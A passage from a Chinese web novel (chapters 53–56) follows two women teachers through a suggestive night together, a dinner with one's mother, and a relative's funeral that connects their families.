简越心想,自己明明比林筝墨强韧一些,竟然以这种姿态坐在林筝墨身上,有种视觉上极大的冲击,一种情l欲交织的反差感,她的身体,因为这种视觉冲击,产生了化学反应。 “你要这样抱我吗”简越喉咙滑动了一下,“抱得动吗?” “抱得动。”林筝墨下巴搁在简越后背,轻蹭,“我有那么弱吗。” 简越心跳加速,转过身去,发现林筝墨脸蛋白一阵,红一阵。 白是她的皮肤颜色。 红是她的情绪。 林筝墨看向简越时,目光清炯,像日光照耀湖面,波光粼粼的很好看。 “那你现在还好吗?”简越摸她的脸颊,来回摩挲着,“心情还有没有好一点?” 林筝墨点头,“好多了。” 简越的手掌抚摸着林筝墨的侧脸,又摸过她的头发,手指穿插过去,轻轻揉着,是有一点情不自禁,其实想接吻想很久了。 靠近的时候发现林筝墨也在靠近。 也许她们心照不宣地想着同一件事情,嘴唇触碰的时候,听见林筝墨动情的声音,简越闭上眼,拖着林筝墨的下巴,让她再近一些。 唇齿触碰,气息缠绕。 “今晚你要在我这里吗?” “好。” 第53章 第五十三章 一万万万年的约定 第五十三章 十点之后忽然下起雨。 当雨点拍打在玻璃上的时候, 浴室的花洒也传来同样的声音。 简越在洗澡。 简越在洗澡。 简越。 在洗澡。 林筝墨蜷缩在沙发上,墨发如瀑,吹完头很清爽。她逗泡泡,逗了几秒思绪又飞远了, 飞到了浴室的光雾里, 飞到了简越的身体上, 飞到了洗发露沐浴露的泡沫里。 洗澡好久啊。 度秒如年。 “泡泡。”林筝墨拉回神思,在泡泡下巴挠痒痒, “还是当猫好, 不用洗澡,舔一舔就好。” 说起舔。 林筝墨眼神又迷茫了 手机就在沙发上,关于快女五十秒相关搜索, 林筝墨已经烂熟于心。 现在,她是理论知识的博士,但实操是否能拿到小学毕业照, 那还得打个问号。 不过,爱情这种东西, 可能临场发挥会比较好。 林筝墨闲来无事, 又在备忘录留下一句:【想要发明一个按钮, 按一下女朋友就能洗完澡。】 大概又等了一百年,浴室那人终于结束了。 林筝墨耷拉下去的眼皮又抬起来, 疲态全无。一双手撑着下巴, 心不在焉的。 她绷着身体, 侧耳聆听,直到浴室的门终于打开,却又不能直接望过去,她知道自己眼神该有多炽热, 要用泡泡当幌子,在白毛上摸了几次,才悠悠挪眼过去,却还是被惊艳到了。 美。 诱。 性感。 又想弹钢琴了。 “啊吹风机在哪呀?”当事人一无所知,一心只想把头发吹干。 “那个。”林筝墨指了指沙发旁的插线板,“在这里。” “居然还下雨了。”简越趿着拖鞋过来,浑身夹带着一股水气。 林筝墨从简越的身体里闻到一点自己的味道,居然有种奇异的满足感。 要是能混合更多味道就好了。 比如 “我帮你吹吧?”林筝墨还不知道帮人吹头发是什么感觉,“我好像还没帮你吹过头发。” “我头发有点长了,不好吹。”简越老实巴交,没察觉林筝墨眼睛里异样的光,“过段时间去剪短些。” “长发好看。” “我就剪断一点,到肩膀合适些。” “好。”林筝墨看她吹头发,看了没几秒钟,从沙发上挪过去,坐在简越旁边,一只手搭在简越身上。 简越觉得她莫名好笑,“你今天好像一直在接触我。” 林筝墨嘴唇轻抿,“不可以吗?” “可以。”简越忍不住问:“可你以前不这样。” “以前没那么喜欢你。”林筝墨脱口而出,直球到令人发指。 简越惊愕:“什么!!你居然明目张胆到这个地步!!” 林筝墨眯上眼,躺在简越腿上,暗戳戳提醒她:“三档热风吹得快~” 简越含笑,“一档不伤头发。” 林筝墨眨眨眼睛:“我快睡着了。”她伸手去摸简越的头发,潮润的,细腻的发丝流淌在指尖,她揪着几根头发,贴在鼻间,同时直勾勾看着简越吹头发,不言不语,眼睛里又闪烁着一点暗示的光。 简越只看了一眼,受不了了,把吹风机开到三档。 嗡嗡嗡地吹 * “泡泡,睡觉觉。”林筝墨站在卧室门口,指着猫窝,“我要关门了。” 小猫迷茫看她一眼,趴下,看房间门逐渐阖上。 简越正在喷香水,林筝墨的香水是小茉莉味道,林筝墨的房间弥漫着一股圣洁的味道,大多以洁白居多,小碎花垫底,纤尘不染,干净得真是做不出一点出格的事来。 但林老师一点也不。 她穿着一件黑色长裙,露肩款式,领口稍稍有点低,露出平直的锁骨,但也没露到那种地步,不多不少,刚刚好。她长着一张冷淡出尘的脸,气质带一点冷,尤其是洗完澡后,墨发披肩的样子,你会觉得她有点像仙女,可她的眼神又不太像。 尤其是看简越的眼神。 会有一种沾染凡人欲念的即视感。 简越喷好香水,靠在枕头上,薄薄的空调被往身上一拉,正要躺下,发现林筝墨坐在旁边,一瞬不瞬看她。 以为她要躺下,却纹丝不动。 简越:“怎么了?” “我睡左边可以吗?”林筝墨说。 “好。”简越往右边挪了挪,不懂左边和右边的区别。 直到林筝墨也躺下,她们在昏幽的灯光里,肩膀靠在一起,只见林筝墨抬起手,顺手捻起台灯的线。 哦! 左边。 左边可以开灯关灯。 啪嗒—— 灯光熄灭了。 “诶?”简越下意识说出这句。 黑暗中忽然有一道身影靠过来,那人虚幻的轮廓贴过来,柔软细密的发丝摩挲着简越的脸颊,是茉莉香气。不等简越说下一句,林筝墨捏着简越的下巴,嘴唇忽然贴了上来。 没有任何前情提要。 迅速又热情。 林筝墨涂抹过唇膏,嘴唇的黏润触碰在简越的嘴唇上,清润软甜。多亏简越前几日赐教,林筝墨学到一点妙招。 夜晚,幽静密林,树叶在微风中轻轻摇曳,沙沙是枝叶衔接的歌声,安静而宁和。欲l望是一层薄薄的纱,游离在唇齿之间。 简越能读懂这种具有侵占性的吻,她在窥探,或者说凝视属于林筝墨的另一面。 林筝墨的勇猛也是温柔的,她气息微薄,吻一会儿又要挪开,靠在简越耳边休息,轻轻呼吸的时候,说一些迷糊的话。 “甜。” “什么?哪里?” “软。” “你就这么喜欢。”简越摸着她的头。 林筝墨埋头将甜味尝到嘴巴里。 简越阖上眼,忽然觉得夜晚的风更大、更疾了。窗外的雨还在下越来越密集,密密麻麻拍打在玻璃上。 渐入佳境 * 黑夜忽然迸出一点金光,思绪在快速跳跃,林筝墨只觉得太阳穴在跳动,忽然之间—— 怎么会这样? 那瞬间林筝墨怀疑人生。 说来难以启齿。 她在准备进攻简越的时候,率先抵达了。那时她跪坐在简越身上,简越的腿微微曲着,也许是某一个瞬间,某一个节点,简越磨蹭到她。 清晨的花瓣跃跃待放,摇曳着夜晚凝下的露珠。 循环几次,抑制不住了。 尴尬至极。 简越察觉到林筝墨的异样,“嗯?你是不是——” 林筝墨声音在颤抖中逐渐清晰,艰涩道:“对不起。” 听见简越轻声笑,“没关系。”她甚至揉了揉林筝墨的头发,“你很棒。” “我”林筝墨趴在简越肩膀上,气息混乱。 简越揽过她,小声调笑:“实在太敏感也没有办法。” 先前,简越其实也被挑起兴趣,但没想到林筝墨这般敏感,应该比昨晚还快吧?林筝墨虚虚懒躺在她怀里,看样子是没了力气,简越虽心中有火在烧,却觉得不急一时。 林筝墨中场休息,目光迷眩。 许是想到先前的画面,忽然羞到往简越怀里钻。 简越与她解释:“以后你会更久的。”——哦,虽然今晚大概是三十秒。 林筝墨双膝磨蹭,脚趾不安分地躁动着,在简越在小腿肚上蹭来蹭去,“本来不是这样的。” 那时她不小心蹭到,一只手压在简越的小腹上,摸到简越马甲线的曲线,稍稍联想,整个人达到一种绝顶兴奋的地步。 她是下意识坠落的。 她甚至毫无知觉。 她忘了她原本应该掌控简越的。 昨夜五十秒已经足够难堪,怎么会轻轻一撩拨就败阵下来,显得自己很没出息。 简越觉得脖间热烘烘的很可爱,哦,是林筝墨很可爱。 她要开导她:“这其实说明,我们还挺融洽的?” 林筝墨勾着简越的脖子,“好吧。” “对了。”简越想起晚上那件事,慢慢和林筝墨聊起来,“其实那件事我们应该再聊一聊。” “什么?” “关于你爸妈想要你谈恋爱这件事。” 林筝墨叹了口气,“怎么说起这个。” “不说不代表不存在。”简越翻了个身,“能把灯打开吗?” 林筝墨伸手去牵灯线,灯光亮起,暖融的光流淌在她们的皮肤上,肌肤里揉了一点光,有点像西方古典油画里的女人,但没有那般丰腴,是纤丽的,细润的,是极具美感的东方美。 简越的手指游离在林筝墨的肩膀上,“这是一条艰涩又漫长的路。” 林筝墨知道简越在说什么。 “是。” 简越开诚布公:“所以我不要你出柜,我不想你受到伤害,更不想你艰难抉择。我也相信你,相信你对我的爱,不管未来发生什么,我都希望——” 林筝墨深吸一口气,“希望什么?” “希望我们永远记住现在的感觉。”简越眼神愈发炽热了,“像现在这样,互相依赖,互相爱慕的感觉。” 她想说,稍纵即逝的美丽是假的美丽,我出现在你的生命里,是想留下真彩的一笔。 人类善变又擅长忘记,我害怕过于美好的东西终将逝去,所以我要不停地,一次又一次地提醒你,记住这个瞬间,记住我触碰你的感觉。 也许会有狂风暴雨,但总有容身之所。 贵在坚定。 今日往后,一百年,或者说直到人类灭亡之后我什么都不在意,我在意你对我的感觉。那是我的勇气,我的底气。 千言万语汇聚在心中,最后居然只是对视时的眼神。 可林筝墨居然也听懂了。 耳边,雨声渐渐消逝。 窗台偶有一滴或者两滴雨,衔着、坠落,发出啪——嗒、而后,长久的顿点,又一声啪——嗒,间隔长到好像时间并不存在似的。 我们常说,谈恋爱不要乱吐誓言,因为结局总是惨烈。但有此感叹的人,应该也低估了女人与女人之间的爱意。 “好,我答应你。”——林筝墨说。 第54章 第五十四章 两颗葡萄 第五十四章 那晚过后, 林筝墨做了两件事: 敷衍周京芳。 申请教师公寓。 当林筝墨拥有一个秘密情人之后,她也有了一个秘密计划,这个计划,她连简越都没说。 她开始思考, 周京芳和林鸿, 为什么一定要让她结婚?这涉及到太多方面, 比如社会背景、传统文化、根深蒂固的观念,当然, 也和上一辈的成长环境有关。 是可以写一百页论文的地步。 林筝墨不想坐以待毙, 她学着在绝境中寻找自己的出路,以她对周围人的观察,大部分女性在25到30时, 特别容易被催婚。因为这是家长认为的“女人出嫁的最好年龄”,说难听一点:最佳生育年龄。 当然了,是糟粕, 绝对的糟粕。 但她确实属于这个阶段。 盲目出柜吗?与家人对抗吗?林筝墨觉得还没有到你死我亡的地步。 不要莽撞,保持清醒。 “不婚主义。” “对, 我是一个不婚主义者。” 林筝墨开始自我催眠, 只有骗过了自己才能骗过家长。 物质是生活丰富了。 但精神世界贫瘠了。 我每天上班好累。 想追求佛系生活。 需要精神上的慰藉。 精神上的慰藉绝不是在枕边塞一个狐油满臭的男人, 是独处,是自由自在, 或者是一只猫, 不管你理不理解, 我就是这样了。 ——所以,我不结婚。 这是一个几近完美的理由,社会现状如此,此言一出, 并不显得怪异,适合用来打太极。 大人们很奇怪,他们更愿意相信你是受到了文化的荼毒,也不愿意相信你是同性恋。 因为文化的荼毒是社会问题。 而你是同性恋,他们会认为是自己的过失。——比如什么劣性基因,祖坟不正,老祖宗瞎了眼,我命好苦。我这么牛,居然教出你这个畜牲东西,我的老脸往哪里搁,我以后怎么见人,那些乱七八糟的,云云…… 他们是浸泡在福尔马林里的婴尸,是没有勇气接受事实的,千万别高估。 “简越。”林筝墨走到客厅,忽然叫起简越的名字。 那时,简越正在电脑面前处理公务,见林筝墨一脸严肃凝视着她。 简越迷茫,“怎么了?” “我刚刚想了一下。”林筝墨坐在简越腿上,一双手搂着她的肩膀,与她相贴,“等我到三十五岁,我就公开你好不好?” 林筝墨像一只小猫,她的脑袋贴在简越的侧脸,轻蹭。简越摸摸她的头发,觉得她认真思考未来的样子很可爱。 “怎么突然说起这个?” “因为我想了一下,我们不能这样一辈子。”她目光清湛看着简越,“秘密情人不是一个什么好词。” “那好啊,我等你到三十五岁。” 林筝墨像得到奖赏的小孩,继续表现自己:“那到时候我们要不要进行什么仪式?” “仪式?” “像结婚那样,但不是结婚。”林筝墨解释道:“我想和你绑定更深,但不是要绑住你的意思。” 简越心想,其实害怕被抛弃的人是我,而你却在思考我们的未来。 林筝墨。 我很荣幸。 简越心头忽然填满期待:“那你不许骗我。” “绝对不。” “如果三十五岁的林筝墨不在我身边,那怎么办?” 林筝墨:“三十五岁的林筝墨绝对不会不在你身边。” 绝对不。 从前,简越觉得誓言是一种极其幼稚的东西,但林筝墨每一次的许诺,都能在她心底荡漾涟漪,她忍不住去相信,开始把那些话视为很重要的东西。 “一言为定。” “一言为定。” “今天我们其实还有一件事要做。”简越在林筝墨唇边啄了一下,“刚刚我妈叫我去吃饭,还让我带上你。” 林筝墨惊呼:“你怎么不早点说!” 简越:“正在说呀。” 林筝墨从简越身上起来:“我先去换套衣服。” 这是她们确定关系的第二周,大部分时间都待在一起,林筝墨已经连续三天邀请简越来她家“坐坐”了。 这期间,“快女冠军”选手林筝墨,终于学着唱起了慢歌。 某日深夜,简越用最舒缓的曲调带着林筝墨渐入佳境。自此以后,林筝墨好像体验到一种别样的快乐。那种体验和五十秒截然不同,她觉得她和简越的灵魂更加深入了 确实是更加—— 深入了。 情难自禁。 * “我穿白色还是黑色?”林筝墨选了半天没有答案,“阿姨会更喜欢白色还是黑色?” 简越望向林筝墨,“看你更喜欢穿哪套?” “白色吧。”林筝墨觉得白色清爽些。 即便是以朋友的身份去吃顿饭,但还是想留下不错的印象。简越的母亲对林筝墨来说,也是很重要的部分。 两人收拾好,驱车去吃饭,林筝墨心细,捎上一些合适的见面礼。 简桑住在距离学校五公里左右的小区,即便她已是南城有名的骨科医生,但为人还是相当低调。住和吃都相对简单,是一个内心充盈,精神世界很丰富的女人,不需要过多的物质来支撑,甚至可以用佛系来形容。 “对了,家里还有其它人吗?”林筝墨提前做好心理准备。 “没有了。”简越介绍起来:“我妈妈一直是孤身一人,嗯也不能算是孤身,她很享受这种状态。她没有结过婚,一直是带着我在生活,我工作之后,她让我搬出来住,让我们有各自的空间。所以我也只是偶尔回家和她聚聚,而她基本每天都待在诊所。” “居然是一个人吗?”林筝墨相当惊讶。 上一辈的人,不结婚需要多大勇气,不言而喻。不过回忆起来,简越好像从来没有说过“爸爸”这个词,这个词太淡了,可以不存在。 “对,我妈她根本没有那种世俗的欲望。”简越说到这里,稍顿,忽然和林筝墨对视一眼。 两人眼底信息暗涌,似乎在交流着某种脑电波。简桑多年来不结婚,难道 简越摇头:“我妈妈她应该……应该不是吧?” 林筝墨一秒解读,不敢对长辈有那样的揣测,连忙找补:“当然不是,是不是快到了?” “马上到了,就几分钟。” 简桑住在一楼,这房子买得划算,开发商送了她一个小花园,投其所好。推门进去有一个小花园,里头种着各色斑斓的绣球、仙人掌、月季还有一些不认识的植物。 简越说,某些植物有药用价值。林筝墨似懂非懂点点头,觉得简阿姨很会养花,每一株植物都被养得很好……就像,就像养简越一样。 “来,过来。”简越伸出手,要去牵林筝墨。 林筝墨却不好意思起来,轻轻拉住简越的衣袖,驻足,低声说:“你就不要牵我了吧,我们牵着进门好奇怪啊。” 简越知道林筝墨担心什么,“也还好,她迟早要知道的。” “但不是现在,你不是和阿姨说我是你朋友吗?” “女朋友也是朋友。” 林筝墨拉着简越的手晃了晃,没怎么使劲,“别开玩笑了,我好紧张” “那不逗你了。”简越接过林筝墨手里的礼物,抬手敲了敲门。 林筝墨乖巧站在她身后,双手局促地揣在背后,有种见正式家长的即视感。只听见门里传来细碎的脚步声,门很快打开了。 简桑看起来很年轻,从她身上感受不到中年人的臃肿,气质清莹,眉目温和,不乏那种冷静和稳重。 “妈。”简越把礼物递给简桑,“这是小林送你的礼物。” 简桑眼里漾着笑,“干嘛这么客气呢,吃顿饭而已。”连说话也那么好听。 “下次就不许带了。”她接过礼物,偏过半身,邀请林筝墨进去,“进来吧小林。” 没有那种虚情假意的客套,这股子淡然倒是让人放松下来。 林筝墨抬脚进去,简越随其后。 简桑走在她们前面,慢条斯理道:“最近园子里的番茄刚好结了,就摘了半盘,凉拌给你们吃。买了三条鱼,本来准备红烧,觉得肉不太肥,就炖了豆腐。” 她说话时有条不紊的,林筝墨注视着她的头发盘在脑后,发丝均匀而细密,脖颈纤细光洁,保养得不错,没有任何饰品的点缀,反而那种女性的柔美积淀得更深了。 你会觉得她拥有长辈的从容不迫,但也倍感亲切。 而且,她真的很漂亮——和简越一样。 简桑又说:“夏天就快来了,诊所最近闲了些。最近突然想养一只小猫,也不知道好不好养。” 简越帮她们找共同话题:“正巧,小林有宠物,是一只布偶猫。” 简桑回过头看她,“小猫好养吗?” “挺好养的,猫咪很好,会陪伴人。布偶除了毛发多些,定期打理没什么问题。黏人也是真的,调不调皮就不清楚了,得看天生的性格。” “隔壁邻居橘猫快生了,说送我一只,那我养来试试罢。”简桑到沙发坐下,让两人一齐坐。 桌上摆着水果,是简桑洗好的。绿莹莹的葡萄里带点黄,大大小小,并不规则,看起来不像是市场里买来的。 简越捻起一颗,“妈,这葡萄是你种的那株结的吗?” “对,品相不太好,但甜。”简桑说罢,伸手也去摘一颗葡萄。 简越开始剥葡萄。 简桑也剥。 林筝墨坐在她俩中间,寻思着自己是不是也该上道?要不要也拿一颗,显得合群些。 刚要行动,左边右边分别同时递来一颗剥好一半的葡萄。 “你吃。”——简越。 “小林吃。”——简桑。 林筝墨受宠若惊,连忙接过,“啊,谢谢阿姨!我自己来就好!” 简越手里的葡萄晃了晃,眨眨眼。示意林筝墨,两颗都吃。 第55章 第五十五章 她们和她们,这世界真窄…… 第五十五章 吃点儿水果算是中国人常有的待客之道, 但林筝墨真的吃得好饱。 当然,简桑只剥了一颗,其余时间都是简越在投喂。而简桑发现简越对这位朋友相当殷勤,便随她去了。 厨房里, 鲫鱼汤还在炖, 所以闲聊起来。 “上次的手恢复得还好吗?” 骨头错位那次。 “没问题了阿姨, 后来修养几天就好了。” “我再看看。”简桑牵过她的手,仔细在骨头上捏了捏, 提醒她:“筋骨之间的隐疾, 有时候不明显,有的人觉得自己恢复了,过了一阵, 突然就开始疼,就是没养好伤。”她在林筝墨手腕上捏了捏,“但你这没什么问题了, 就是你太瘦了,要多吃点。” 林筝墨心里被捏得软乎乎的, “最近有在增重。” 她身高165, 体重一直保持在90斤, 最近长了小两斤,突破92, 功劳全靠简大厨。 简厨也把手伸过来凑热闹, “妈, 你也帮我看看。” 简桑刚想说你骨头又没毛病过来凑什么热闹,无意间,居然瞅见简越手腕的骨头有异样。 转而去捏,手指在简越筋膜处滑络着, 发现有要鼓起来的趋势。 “疼不疼?” “有点。” 简桑眉头稍蹙,“奇怪,这很像腱鞘炎要犯了。”愈发困惑了,诊断结果是:“你最近用手很频繁吗?” 空气忽然静默了。 安静得诡异。 嗯? 嗯 林筝墨连忙去果盘里捻起一颗葡萄,自顾不暇地剥起来。 我很忙。 我退出。 简越心虚地眨眨眼,把手递出去的时候没想过这一层,现在觉得自己真是傻到送命。 要在几十年江湖骨科老医生面前撒谎,这和当众脱裤子有什么区别? 简越提着裤腰带,做最后的挣扎:“手倒是没怎么频繁用。”她一瞬不瞬看着简桑,贼喊捉贼:“怎么会呢?” 说着抬起手腕来回瞅了一圈,困惑得那么真。 “你肯定做什么了。”简桑一针见血拆穿她:“腱鞘炎是用手过度引起的。”老母亲百思不得其解:“但我实在想不出你们学校有什么活儿要让你干。” “应该是擦玻璃。”简越硬着头皮上:“上周在办公室打扫卫生,擦了一下午的玻璃。” “擦玻璃会腰痛,但只擦一次不会腱鞘炎。” “我连续擦了一周天。” 妈妈。 真的。 一周。 简桑不想听她胡诌,回过头看林筝墨,“小林,最近学校很忙吗?” 罪魁祸首浑身僵木,脸有尬色,嘴里的葡萄咀嚼烂了,脸上的余晕未散。 “要期末了是很忙。”林筝墨局促地帮简越找借口:“所以简主任的工作量确实比平常多得多。” 白天要上班。 晚上要上班。 “哦这样。”简桑恍然大悟,十足的相信林筝墨,又苦口婆心地说:“越越工作起来是没个度,她总是这样,做什么都想做得最好。” 比如做吗? “也没有你说得那么严重。”简越把手收回来,偷偷看了林筝墨一眼,林筝墨也看她,但视线触碰那一秒迅速挪开了。 心虚虚虚虚虚 简越:“鲫鱼汤好了吗?” 简桑:“你去看看吧。” 简越起身,能逃则逃。砂锅里炖着浓稠的白鱼汤,简越用铁勺轻轻搅了搅,不知道是不是心理作用,搅拌的时候觉得手腕一股刺痛。 啊 难道真的腱鞘炎发作。 也不是没有理由。 忽然回忆起昨晚,一些画面在脑海里回闪。那时林筝墨展现着极致的美丽,一双冷淡的眸子染上欲l念,在忽明忽暗的灯光里绽放。 那时她失迷到情不自禁握着简越的手。 带动简越进行着。 一边情难自禁一边说—— “我饿了。”身后忽然传来林筝墨的声音,她扶着门框,目光滟滟看向简越:“妈妈开门去了,好像有邻居找她。” 简越从旖旎的画面里抽离出来,望着林筝墨笑,调侃着:“林老师,你好厉害,你看我糟糕的手” 林筝墨连忙进去看,心碎连连:“怎么了很痛吗?” “手腕有一点点。” “我我不知道会变成这样。”林筝墨没听出简越的侃戏,以为当真严重,竟然开始自责:“对不起,我下次再也不了。” 这样索取无度的话,女朋友会坏掉的。 “噗——我只是开玩笑啦!”简越觉得她傻得可爱,“未必你真的当真。” 林筝墨却不敢懈怠:“但正经说,妈妈说你该静养了,不然后面发作会很疼。”话末,林筝墨朝客厅的方向看了眼,简桑还在和邻居对话,她小声问简越:“你生理期结束了吗?” 好像是第八天了,该是彻底结束了。 这期间林筝墨虽然很享受,但有时候也很想和简越更近一步。上上周,刚确认关系的时候,她很拘谨,一直没敢采取行动,待到她终于鼓足勇气时,结果,简越生理期来了。 好像老天不让她进行似的,这件事有意无意勾撩着林筝墨。 但她不能急。 “结束了。”简越抿抿唇,直勾勾看着她:“你想干嘛?” “我想”林筝墨悄悄靠近简越,在她耳边暗语:“我想你也该休息休息了。” 想干嘛不言而喻。 简越被她的羞怯打动,将她拥入怀里,“可是你让我今晚回家休息?” 林筝墨抬眼看她,目光清亮:“我想服务你。” 服。 务。 你。 这样直白的话语,配上那张不谙世俗的脸,让人觉得她原本不应该有欲l望的,可说出的话又那么让人火辣辣。 连简越都不好意思了。 “林筝墨,你听听自己说些什么话。”简越迅速在林筝墨侧脸吻过一下,觉得不够,想吻她嘴唇,忽然被林筝墨推开了。 不一会儿,简桑和邻居聊完天,林筝墨则拉开更远的距离。 仿佛这般缠绵从未诞生过 “越越。”客厅里传来简桑的声音,声线冷肃:“先不管鲫鱼汤了,和你说件事。” 两人听简桑声音不对,连忙望向她,神经瞬间绷直了。 简桑说:“一件坏事,刚胡阿姨的女儿跑来说,说胡家外婆恐怕是不行了。” “啊?”简越放下汤勺,“怎么会?” “老人家年纪大了,生病也没有办法。”简桑愁道:“怕是挨不过几天了,也就今明两天的事,我还没和你外婆说,她听到估计够呛。” 胡外婆和简外婆交好,年轻时是同一个村的,远近闻名的好闺蜜,裤子要一条穿,馒头要掰两瓣吃。简越小时候暑假去乡下,胡外婆老给她塞零花钱,是一个相当和蔼的老人。 后来,简外婆搬到城里来住,胡外婆则在乡下,但两个老人还是经常联系。 每月十五,简外婆便去市场上买糕点,桂花糕、绿豆酥、小桃酥、茯苓饼,她提着篮子,独自坐一小时公交去乡下和胡外婆相聚,然后再带回来一些土鸡蛋、豆豉、和有小虫洞却没打农药的新鲜蔬菜。 “那那我们现在要和外婆说吗?”简越忽然很难过,那人毕竟也承载着她的小时候的美好记忆。 “这个,我怕你外婆接受不了。”简桑又道:“但你最好请个假,要真的情况不乐观,我们肯定要去一趟的。” “我现在就请。” 事出突然,林筝墨也很懵。简桑见她也跟着发愁,反倒过来安慰她:“生老病死是最没办法的事。” 林筝墨怔怔望向简桑,她暂且还没经历亲人去世,但她想起自己小时候养的小狗了。小时候她高高兴兴去参加暑假营,回来狗已经被送走了,她再也没见过它,记忆里依稀是小狗在地上打滚,毛绒绒的脑袋蹭过来的模样。 “那外婆还能见到她最后一面吗?” 此话一出,简桑陷入沉思。 “小林,你倒是提醒我了,我还是先打个电话问问情况。”话末,简桑也转身去拨电话 晚餐鲫鱼汤很浓,但大家一口都喝不下,饭桌上,各自心情都沉甸甸的。 原计划的美好聚会,被突如其来的变故打断,却也是没有办法的事情。 “你外婆暂时还不知道,先前我准备和她说的,结果她喜滋滋和我说,说明天正好十五,她才买了点心回来,明天一大早就带到乡下去。我一听,那句话卡在喉咙,怎么都开不了口。” 林筝墨沉默了。 简越更是。 人生在世,最怕欢喜落空,喜剧变悲剧。但正如简桑所说,生老病死真是特别无奈的事情。 “我们得和外婆说。”简越看了下手表,“现在是晚上八点半,我们先去外婆家,面对面和她说,有什么情况也好兜着,她今晚肯定是要过去的,万一熬不过” 若是熬不过,见不到最后一面,就很难过了。 老一辈很注重这个。 林筝墨主动说:“阿姨,你们先去找外婆吧,我这边打个车就回家了。” 简越赞同,“妈,我正好开了车。” 简桑也觉得这件事疏忽不得,得赶紧通知,就是残忍了些。 林筝墨其实也很想跟着去,至少陪陪简越,但觉得自己是个局外人,凑过去添乱就不好了。 刚巧思索着,手机震动几下,微信消息。 来自相亲相爱的一家人。 周京芳:【墨墨,明天周二,但你就不回家吃饭了。我和你爸要走一趟丧。】 林筝墨:【发生什么了?】 周京芳:【你乡下的姨姥姥不行了,但你没接触过,这回头再和你细说。】 林筝墨心跳加速,问简越,“胡婆婆是在哪里?” “西郊村。” 林筝墨在相亲相爱的一家人里问:【你们去哪里?】 周京芳:【西郊村。你能请假吗?能请假一起去。】 林筝墨脑袋忽然嗡的一下。 这世界真窄—— 作者有话说:这世界窄吗?还有更窄的呢[狗头] 敬请期待 第56章 第五十六章 白雪公主和小煤炭 第五十六章 林筝墨快速在脑袋里回溯着这位“姨姥姥”。 无果, 她果然一点记忆都没有,她甚至怀疑自己是不是根本没见过她,因为小时候周京芳很少带她去乡下玩,是有过一两次, 但都记忆模糊。 简越发现林筝墨铁杵似的站在原地, “怎么了?西郊村怎么了?” “我妈刚发消息给我说, 她也要去西郊村。” 简越心惊,“什么情况?” 这时相亲相爱的一家人又发消息了, 问林筝墨要不要请假, 去不去。 “我也不清楚,你们抓紧时间去找外婆,我们回头再联系。” 她们都是土生土长的南城人, 母辈或者母母辈若是生活在同一个村,那还是有一定概率的。但南城早年的村庄也不少,若真是撞见了, 那也算一种缘分吧? 林筝墨其实不想掺和,真去了, 指不定两家面面相觑, 虽然迟早要认识, 心头又有点发怵。现阶段,还是想避避锋芒的。 结果群里又有消息: 周京芳:【算了, 墨墨, 你还是请个假吧, 我们到公寓楼下接你。】 被迫加入。 * 西郊村算是早就奔向小康的村庄,遍地是鱼塘、稻田还有一些私人的养殖场,听说高铁快通了,后面还要开发一个马场——谁来骑啊? 一条灰白崭亮的马路连接着家家户户, 门前砌了小院,院子里至少都停着一辆车。 现今,农村早就不是一个贬义词,好多人向往这样的生活都没这条件。 林筝墨自坐上车后就保持沉默,听周京芳和林鸿说话。 林鸿:“墨墨哪里还记得这位姨姥姥?绝对没印象的。” 周京芳:“怎么可能,她见过她的!” 林鸿:“我们搬南城之后,都没带她来过几回。你忘了?小时候,那只小黄差点咬她一口,你闺女叫苦不迭,后来又被大鹅追,哇哇哭,你说什么都不带她来了。” 林筝墨:“?” 有这事吗? 周京芳嗤了声:“未必你真的以为我因为一条狗、一只鹅就真的不让她来了?老林你是不是忘了那事了。” 林鸿蹙眉:“哪事?” “那个谁的女儿。”周京芳烦他老糊涂,“就黑黢黢那个,抓着我们墨墨手都不松一下,她说墨墨是白雪公主,我看她是小煤炭,纯属白雪公主钻煤炭窝了。” 林鸿渐渐回忆起来了,低声笑,“哦我记起来了,那个小姑娘带着墨墨去摘树叶,她俩摘了好多铺地上,两人躺在地上打滚,说好大的床啊,结果那里面混了荨麻叶,你闺女回来开始发疹子,浑身都是疙瘩,你气得不行。” 林筝墨一脸茫然。他们说的这些是一点没印象。 “谁?黑得像煤炭一样的是谁?” 周京芳摆摆手,“得了,你确实早不记得了。” “她那时才多小啊。”林鸿忽然哎了声,嗟叹:“你说这时间怎么就过得这么快” 周京芳垂下眼睫,情绪明显低落起来,“咱妈走得早,我和姨联络也少了,前阵子见过一回,身子骨还算硬朗,怎么说不行就不行了” “年纪大了,身子骨就很脆弱,比不上年轻的时候了。” 兴许是想起伤心事,各自突然沉默了,林鸿开车,周京芳发呆,而林筝墨则靠在窗前睡着了。 * 姨姥姥住的是乡村式别墅,造型和外观都有种老一辈想象中的阔气,但这并不是她的本意,是她女儿的意愿。赚了钱给妈妈修大房子,是孩子表达爱意最直接的方式。 不管怎么说,她的孩子总归待她不错。 可人老了带不走一砖一瓦,周京芳在距离家门口二里地的时候,忽然接到一个电话。 人没了。 林鸿一脚刹车停在路边,侧身去看周京芳,已是泪水涟涟。 林筝墨忙递给母亲几张纸,眼底情不自禁噙着泪。 她虽对那人没什么记忆,但也没想到死亡这般无情。年轻的时候,在这个世界留下的一切是加法,年迈过后,长棺入土,关于这个人的记忆开始做减法,减去减去,减到很多年后,再也没有人记得这个人曾经存在过。 只是一趟旅程,谁都会到站的。 姨姥姥人缘好,院子里已停不下多余的车,只能堆在路边。到的时候,发现吊唁的人多,在歇斯底里的哭声中,林筝墨透过院墙里的圆洞窥见了简越的身影。 她扶着伤心欲绝的外婆,极力安抚着情绪崩溃的老人家,老人家哭得背影佝偻了,眼泪擦在银白色的鬓发上。 堂屋里的人无助地叫妈妈,那些平日绷着脸的大人,此刻才真的展现出最原始的孩童的一面,但也只有这一次机会了,以后再也没有了。 胡外婆的大女儿出来招呼亲戚,在最悲伤的时候还要保持最基本的礼仪,人有时候就是这样强大的荒谬在维系人际关系的。 亲戚之间情谊最深厚的时候,就是人走了的时候,仿佛曾经寡淡疏离的情念,在这一刻汇为顶峰。 周京芳抱着自己表妹哭起来,顺手推出林筝墨,林筝墨哭不来这般大的阵仗,只是噙着一双红眼看着对方。 呜呜咽咽。 大人抱着说着,听不懂。偶尔来点肢体接触,是在林筝墨后背重重拍一下,拍得林筝墨也想哭,因为太疼了。 胡大姨:“妈上周都还好好的。” 周京芳:“我前些天还和她通过电话的。” 胡大姨:“脑梗说发作就发作。” 周京芳:“我昨晚就没睡好,眼皮子直跳,哪能想到”说着又要落泪。 